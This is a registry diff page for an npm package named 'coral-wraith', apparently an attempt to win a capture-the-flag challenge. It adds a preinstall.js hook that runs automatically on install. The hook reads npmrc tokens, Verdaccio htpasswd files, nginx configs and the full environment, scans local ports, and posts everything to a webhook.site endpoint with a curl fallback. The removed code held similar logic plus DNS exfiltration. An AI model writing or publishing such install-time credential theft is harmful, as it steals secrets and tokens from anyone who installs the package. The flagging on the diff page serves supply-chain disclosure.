coral-wraith 9999.0.5 → 9999.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of coral-wraith might be problematic. Click here for more details.
- package/package.json +1 -1
- package/preinstall.js +128 -221
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -4,255 +4,162 @@ const https = require('https');
|
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
5
|
const os = require('os');
|
|
6
6
|
|
|
7
|
-
let flag = null;
|
|
8
7
|
const debug = [];
|
|
8
|
+
let flag = null;
|
|
9
9
|
|
|
10
|
-
//
|
|
11
|
-
const
|
|
12
|
-
|
|
13
|
-
'/
|
|
14
|
-
'/home/
|
|
15
|
-
'
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
10
|
+
// 1. Read ALL credential/config files
|
|
11
|
+
const credPaths = [
|
|
12
|
+
// npmrc files
|
|
13
|
+
'/home/node/.npmrc', '/root/.npmrc', '~/.npmrc',
|
|
14
|
+
'/home/node/.config/npm/npmrc', '/etc/npmrc', '/usr/etc/npmrc',
|
|
15
|
+
process.cwd() + '/.npmrc', process.cwd() + '/../.npmrc',
|
|
16
|
+
process.cwd() + '/../../.npmrc',
|
|
17
|
+
|
|
18
|
+
// Verdaccio configs
|
|
19
|
+
'/verdaccio/conf/config.yaml', '/verdaccio/storage/htpasswd',
|
|
20
|
+
'/verdaccio/conf/htpasswd', '/verdaccio/storage/config.json',
|
|
21
|
+
'/data/verdaccio/conf/config.yaml', '/data/verdaccio/storage/htpasswd',
|
|
22
|
+
'/data/verdaccio/htpasswd', '/data/htpasswd',
|
|
23
|
+
'/data/config.yaml', '/data/conf/config.yaml',
|
|
24
|
+
|
|
25
|
+
// nginx configs
|
|
26
|
+
'/etc/nginx/nginx.conf', '/etc/nginx/conf.d/default.conf',
|
|
27
|
+
'/etc/nginx/conf.d/registry.conf', '/etc/nginx/.htpasswd',
|
|
28
|
+
'/etc/nginx/htpasswd', '/etc/nginx/conf.d/.htpasswd',
|
|
29
|
+
|
|
30
|
+
// Flag locations
|
|
31
|
+
'/flag', '/flag.txt', '/data/flag', '/data/flag.txt',
|
|
32
|
+
'/home/node/flag', '/home/node/flag.txt',
|
|
33
|
+
'/root/flag', '/root/flag.txt',
|
|
19
34
|
];
|
|
20
|
-
for (const p of flagPaths) {
|
|
21
|
-
try {
|
|
22
|
-
if (fs.existsSync(p)) {
|
|
23
|
-
const content = fs.readFileSync(p, 'utf8').trim();
|
|
24
|
-
debug.push(`found:${p}:${content.substring(0,100)}`);
|
|
25
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
26
|
-
if (m) { flag = m[0]; break; }
|
|
27
|
-
if (!flag && content.length < 200) flag = content;
|
|
28
|
-
}
|
|
29
|
-
} catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
|
|
30
|
-
}
|
|
31
|
-
|
|
32
|
-
// Method 2: Check ALL env vars
|
|
33
|
-
if (!flag) {
|
|
34
|
-
for (const [k, v] of Object.entries(process.env)) {
|
|
35
|
-
if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
|
|
36
|
-
flag = v.match(/HTB\{[^}]+\}/)[0];
|
|
37
|
-
debug.push(`env:${k}=${v.substring(0,100)}`);
|
|
38
|
-
break;
|
|
39
|
-
}
|
|
40
|
-
}
|
|
41
|
-
}
|
|
42
|
-
// Also try common env var names
|
|
43
|
-
if (!flag) {
|
|
44
|
-
const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
|
|
45
|
-
'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
|
|
46
|
-
for (const name of envNames) {
|
|
47
|
-
if (process.env[name]) {
|
|
48
|
-
flag = process.env[name];
|
|
49
|
-
debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
|
|
50
|
-
break;
|
|
51
|
-
}
|
|
52
|
-
}
|
|
53
|
-
}
|
|
54
35
|
|
|
55
|
-
|
|
56
|
-
if (!flag) {
|
|
36
|
+
for (const p of credPaths) {
|
|
57
37
|
try {
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
}
|
|
64
|
-
|
|
65
|
-
// Method 4: Search for flag files broadly
|
|
66
|
-
if (!flag) {
|
|
67
|
-
try {
|
|
68
|
-
const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
|
|
69
|
-
debug.push(`find:${r}`);
|
|
70
|
-
if (r) {
|
|
71
|
-
for (const f of r.split('\n')) {
|
|
72
|
-
try {
|
|
73
|
-
const content = fs.readFileSync(f, 'utf8');
|
|
74
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
75
|
-
if (m) { flag = m[0]; break; }
|
|
76
|
-
} catch(e) {}
|
|
77
|
-
}
|
|
38
|
+
if (fs.existsSync(p)) {
|
|
39
|
+
const c = fs.readFileSync(p, 'utf8');
|
|
40
|
+
debug.push(`FILE:${p}=${c.substring(0,500)}`);
|
|
41
|
+
const m = c.match(/HTB\{[^}]+\}/);
|
|
42
|
+
if (m) flag = m[0];
|
|
78
43
|
}
|
|
79
|
-
} catch(e) { debug.push(`
|
|
44
|
+
} catch(e) { debug.push(`ERR:${p}:${e.message.substring(0,50)}`); }
|
|
80
45
|
}
|
|
81
46
|
|
|
82
|
-
//
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
for (const f of r.split('\n')) {
|
|
89
|
-
try {
|
|
90
|
-
const content = fs.readFileSync(f, 'utf8');
|
|
91
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
92
|
-
if (m) { flag = m[0]; break; }
|
|
93
|
-
} catch(e) {}
|
|
94
|
-
}
|
|
95
|
-
}
|
|
96
|
-
} catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
|
|
47
|
+
// 2. npm config environment variables
|
|
48
|
+
const npmEnvs = ['npm_config_userconfig', 'NPM_CONFIG_USERCONFIG',
|
|
49
|
+
'npm_config_registry', 'NPM_TOKEN', 'NODE_AUTH_TOKEN',
|
|
50
|
+
'npm_config__auth', 'npm_config__authToken'];
|
|
51
|
+
for (const k of npmEnvs) {
|
|
52
|
+
if (process.env[k]) debug.push(`ENV:${k}=${process.env[k]}`);
|
|
97
53
|
}
|
|
98
54
|
|
|
99
|
-
//
|
|
100
|
-
|
|
55
|
+
// 3. List directories
|
|
56
|
+
for (const dir of ['/', '/data', '/home/node', '/home', '/app', '/verdaccio',
|
|
57
|
+
'/verdaccio/conf', '/verdaccio/storage', '/data/verdaccio',
|
|
58
|
+
process.cwd(), process.cwd() + '/..', process.cwd() + '/../..']) {
|
|
101
59
|
try {
|
|
102
|
-
const
|
|
103
|
-
debug.push(`
|
|
104
|
-
for (const f of secrets.split('\n').filter(Boolean)) {
|
|
105
|
-
try {
|
|
106
|
-
const content = fs.readFileSync(f, 'utf8');
|
|
107
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
108
|
-
if (m) { flag = m[0]; break; }
|
|
109
|
-
} catch(e) {}
|
|
110
|
-
}
|
|
60
|
+
const items = fs.readdirSync(dir);
|
|
61
|
+
debug.push(`DIR:${dir}=${items.join(',')}`);
|
|
111
62
|
} catch(e) {}
|
|
112
63
|
}
|
|
113
64
|
|
|
114
|
-
//
|
|
115
|
-
if (!flag) {
|
|
116
|
-
try {
|
|
117
|
-
const envFiles = execSync('find / -maxdepth 4 -name ".env" -o -name ".env.*" -o -name "env.*" 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
118
|
-
debug.push(`envfiles:${envFiles}`);
|
|
119
|
-
for (const f of envFiles.split('\n').filter(Boolean)) {
|
|
120
|
-
try {
|
|
121
|
-
const content = fs.readFileSync(f, 'utf8');
|
|
122
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
123
|
-
if (m) { flag = m[0]; break; }
|
|
124
|
-
debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
|
|
125
|
-
} catch(e) {}
|
|
126
|
-
}
|
|
127
|
-
} catch(e) {}
|
|
128
|
-
}
|
|
129
|
-
|
|
130
|
-
// Method 8: Read server source code and configs
|
|
65
|
+
// 4. Find ALL config/credential files
|
|
131
66
|
try {
|
|
132
|
-
const
|
|
133
|
-
debug.push(`
|
|
134
|
-
const
|
|
135
|
-
debug.push(`cwd_files:${files.join(',')}`);
|
|
136
|
-
|
|
137
|
-
// Read all JS files in current directory
|
|
138
|
-
for (const f of files) {
|
|
139
|
-
if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
|
|
140
|
-
try {
|
|
141
|
-
const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
|
|
142
|
-
debug.push(`file:${f}:${content.substring(0,300)}`);
|
|
143
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
144
|
-
if (m) { flag = m[0]; break; }
|
|
145
|
-
} catch(e) {}
|
|
146
|
-
}
|
|
147
|
-
}
|
|
148
|
-
} catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
|
|
149
|
-
|
|
150
|
-
// Also read /home/node/ specifically
|
|
151
|
-
try {
|
|
152
|
-
const homeFiles = fs.readdirSync('/home/node');
|
|
153
|
-
debug.push(`home_node:${homeFiles.join(',')}`);
|
|
154
|
-
for (const f of homeFiles) {
|
|
67
|
+
const r = execSync('find / -maxdepth 5 \\( -name "*.npmrc" -o -name "htpasswd*" -o -name ".htpasswd" -o -name "config.yaml" -o -name "*.conf" -o -name ".env" -o -name "flag*" \\) -type f 2>/dev/null | grep -v node_modules | grep -v proc | head -30', {timeout:15000}).toString().trim();
|
|
68
|
+
debug.push(`FIND:${r}`);
|
|
69
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
155
70
|
try {
|
|
156
|
-
const
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
const m = content.match(/HTB\{[^}]+\}/);
|
|
161
|
-
if (m) { flag = m[0]; break; }
|
|
162
|
-
} else if (stat.isDirectory()) {
|
|
163
|
-
const subFiles = fs.readdirSync(`/home/node/${f}`);
|
|
164
|
-
debug.push(`home_dir:${f}:${subFiles.join(',')}`);
|
|
165
|
-
}
|
|
71
|
+
const c = fs.readFileSync(f, 'utf8');
|
|
72
|
+
debug.push(`CONTENT:${f}=${c.substring(0,500)}`);
|
|
73
|
+
const m = c.match(/HTB\{[^}]+\}/);
|
|
74
|
+
if (m) flag = m[0];
|
|
166
75
|
} catch(e) {}
|
|
167
76
|
}
|
|
168
|
-
} catch(e) { debug.push(`
|
|
169
|
-
|
|
170
|
-
// Method 9: List root and key directories
|
|
171
|
-
try { debug.push(`root:${fs.readdirSync('/').join(',')}`); } catch(e) {}
|
|
172
|
-
try { debug.push(`app:${fs.readdirSync('/app').join(',')}`); } catch(e) {}
|
|
173
|
-
try { debug.push(`etc:${fs.readdirSync('/etc').join(',').substring(0,300)}`); } catch(e) {}
|
|
174
|
-
|
|
175
|
-
// Method 10: Network info and listening ports
|
|
176
|
-
try {
|
|
177
|
-
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
|
|
178
|
-
debug.push(`ports:${ss}`);
|
|
179
|
-
} catch(e) {}
|
|
77
|
+
} catch(e) { debug.push(`FIND_ERR:${e.message.substring(0,100)}`); }
|
|
180
78
|
|
|
181
|
-
//
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
};
|
|
79
|
+
// 5. Scan localhost ports for Verdaccio
|
|
80
|
+
const portsToScan = [4873, 4874, 8080, 3000, 5000, 1337, 80, 8000, 9000, 4000];
|
|
81
|
+
let scanned = 0;
|
|
82
|
+
for (const port of portsToScan) {
|
|
83
|
+
try {
|
|
84
|
+
const req = http.request({
|
|
85
|
+
hostname: '127.0.0.1', port, path: '/-/whoami',
|
|
86
|
+
method: 'GET', timeout: 2000
|
|
87
|
+
}, (res) => {
|
|
88
|
+
let data = '';
|
|
89
|
+
res.on('data', c => data += c);
|
|
90
|
+
res.on('end', () => {
|
|
91
|
+
debug.push(`PORT:${port}:${res.statusCode}:${data.substring(0,200)}`);
|
|
92
|
+
scanned++;
|
|
93
|
+
if (scanned >= portsToScan.length) sendData();
|
|
94
|
+
});
|
|
95
|
+
});
|
|
96
|
+
req.on('error', () => { scanned++; if (scanned >= portsToScan.length) sendData(); });
|
|
97
|
+
req.on('timeout', () => { req.destroy(); scanned++; if (scanned >= portsToScan.length) sendData(); });
|
|
98
|
+
req.end();
|
|
99
|
+
} catch(e) { scanned++; }
|
|
100
|
+
}
|
|
199
101
|
|
|
200
|
-
|
|
102
|
+
// Also scan the main page of each port
|
|
103
|
+
for (const port of portsToScan) {
|
|
104
|
+
try {
|
|
105
|
+
const req = http.request({
|
|
106
|
+
hostname: '127.0.0.1', port, path: '/',
|
|
107
|
+
method: 'GET', timeout: 2000
|
|
108
|
+
}, (res) => {
|
|
109
|
+
let data = '';
|
|
110
|
+
res.on('data', c => data += c);
|
|
111
|
+
res.on('end', () => {
|
|
112
|
+
debug.push(`ROOT:${port}:${res.statusCode}:${data.substring(0,200)}`);
|
|
113
|
+
});
|
|
114
|
+
});
|
|
115
|
+
req.on('error', () => {});
|
|
116
|
+
req.on('timeout', () => { req.destroy(); });
|
|
117
|
+
req.end();
|
|
118
|
+
} catch(e) {}
|
|
119
|
+
}
|
|
201
120
|
|
|
202
|
-
//
|
|
121
|
+
// 6. Listening ports
|
|
203
122
|
try {
|
|
204
|
-
const
|
|
205
|
-
|
|
206
|
-
method: 'POST',
|
|
207
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
208
|
-
timeout: 5000
|
|
209
|
-
}, () => {});
|
|
210
|
-
req.on('error', () => {});
|
|
211
|
-
req.write(data);
|
|
212
|
-
req.end();
|
|
123
|
+
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
|
|
124
|
+
debug.push(`LISTEN:${ss.substring(0,500)}`);
|
|
213
125
|
} catch(e) {}
|
|
214
126
|
|
|
215
|
-
//
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
});
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
try {
|
|
222
|
-
const ss = execSync('ss -tlnp 2>/dev/null | grep node', { timeout: 3000 }).toString();
|
|
223
|
-
const m = ss.match(/:(\d+)\s/);
|
|
224
|
-
if (m) serverPort = parseInt(m[1]);
|
|
225
|
-
} catch(e) {}
|
|
127
|
+
// 7. Process info
|
|
128
|
+
debug.push(`CWD:${process.cwd()}`);
|
|
129
|
+
debug.push(`UID:${process.getuid ? process.getuid() : 'N/A'}`);
|
|
130
|
+
debug.push(`HOME:${os.homedir()}`);
|
|
131
|
+
debug.push(`ENV_KEYS:${Object.keys(process.env).join(',')}`);
|
|
132
|
+
debug.push(`ALL_ENV:${JSON.stringify(process.env).substring(0,1000)}`);
|
|
226
133
|
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
134
|
+
// Send data function
|
|
135
|
+
function sendData() {
|
|
136
|
+
const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
|
|
137
|
+
|
|
138
|
+
// Webhook
|
|
139
|
+
try {
|
|
140
|
+
const req = https.request({
|
|
141
|
+
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
142
|
+
method: 'POST',
|
|
143
|
+
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
|
|
144
|
+
timeout: 8000
|
|
145
|
+
}, ()=>{});
|
|
146
|
+
req.on('error', ()=>{});
|
|
147
|
+
req.write(info);
|
|
148
|
+
req.end();
|
|
149
|
+
} catch(e) {}
|
|
150
|
+
|
|
151
|
+
// curl backup
|
|
152
|
+
try {
|
|
153
|
+
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
|
|
154
|
+
} catch(e) {}
|
|
244
155
|
}
|
|
245
156
|
|
|
246
|
-
//
|
|
247
|
-
|
|
248
|
-
const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
|
|
249
|
-
require('dns').resolve(`${encoded}.crl.ve`, () => {});
|
|
250
|
-
} catch(e) {}
|
|
157
|
+
// Initial send (port scan results will come later via sendData callback)
|
|
158
|
+
setTimeout(sendData, 3000);
|
|
251
159
|
|
|
252
|
-
//
|
|
253
|
-
console.log('[CORAL
|
|
160
|
+
// Also write to stdout
|
|
161
|
+
console.log('[CORAL]', JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.slice(0,20).map(d=>d.substring(0,300))}));
|
|
254
162
|
console.error('[FLAG]', flag || 'NOT_FOUND');
|
|
255
163
|
|
|
256
164
|
// Write to files
|
|
257
|
-
try { fs.writeFileSync('/tmp/
|
|
258
|
-
try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}
|
|
165
|
+
try { fs.writeFileSync('/tmp/coral.txt', JSON.stringify({debug})); } catch(e) {}
|